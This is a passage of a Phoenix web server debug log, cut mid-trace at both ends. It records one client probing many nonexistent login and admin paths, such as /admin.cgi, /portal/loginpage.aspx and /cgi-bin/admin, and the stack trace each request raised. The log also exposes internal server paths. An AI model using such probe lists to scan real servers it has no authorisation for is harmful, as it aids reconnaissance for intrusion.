    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:41.599000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48212] GET /login
[Thu Sep  3 08:14:41.622000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48212] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:46.910000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51042] GET /go/pipelines
[Thu Sep  3 08:14:46.929000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51042] ** (Phoenix.Router.NoRouteError) no route found for GET /go/pipelines (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:47.642000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51046] GET /go/auth/login
[Thu Sep  3 08:14:47.663000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51046] ** (Phoenix.Router.NoRouteError) no route found for GET /go/auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:48.680000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51054] GET /about/
[Thu Sep  3 08:14:48.710000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51054] ** (Phoenix.Router.NoRouteError) no route found for GET /about (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:49.946000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51068] GET /
[Thu Sep  3 08:14:49.946000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:51068] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:14:49.964000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51068] Sent 406 in 17ms
[Thu Sep  3 08:14:49.965000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51068] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * 

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:55.745000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53096] GET /_mt/mt.cgi
[Thu Sep  3 08:14:55.756000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53096] ** (Phoenix.Router.NoRouteError) no route found for GET /_mt/mt.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:14:56.854000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53100] GET /portal/loginpage.aspx
[Thu Sep  3 08:14:56.875000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53100] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/loginpage.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:01.499000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53116] GET /admin.cgi
[Thu Sep  3 08:15:01.515000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53116] ** (Phoenix.Router.NoRouteError) no route found for GET /admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:05.032000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53576] GET /portal/loginpage.aspx
[Thu Sep  3 08:15:05.095000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53576] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/loginpage.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:07.349000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53580] GET /administrator.cgi
[Thu Sep  3 08:15:07.396000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53580] ** (Phoenix.Router.NoRouteError) no route found for GET /administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:12.722000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53588] GET /users/sign_in
[Thu Sep  3 08:15:12.745000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53588] ** (Phoenix.Router.NoRouteError) no route found for GET /users/sign_in (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:13.047000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53590] GET /buglist.cgi
[Thu Sep  3 08:15:13.059000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53590] ** (Phoenix.Router.NoRouteError) no route found for GET /buglist.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:18.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50810] GET /cgi/mid.cgi
[Thu Sep  3 08:15:18.723000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50810] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi/mid.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:19.316000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50822] GET /setup
[Thu Sep  3 08:15:19.333000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50822] ** (Phoenix.Router.NoRouteError) no route found for GET /setup (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:24.393000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52776] GET /cgi-bin/admin
[Thu Sep  3 08:15:24.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52776] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:15:28.754000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52778] GET /
[Thu Sep  3 08:15:28.754000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:52778] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:15:28.755000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52778] Sent 200 in 807µs
[Thu Sep  3 08:15:29.998000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52780] GET /cgi-bin/admin.cgi
[Thu Sep  3 08:15:30.008000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52780] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
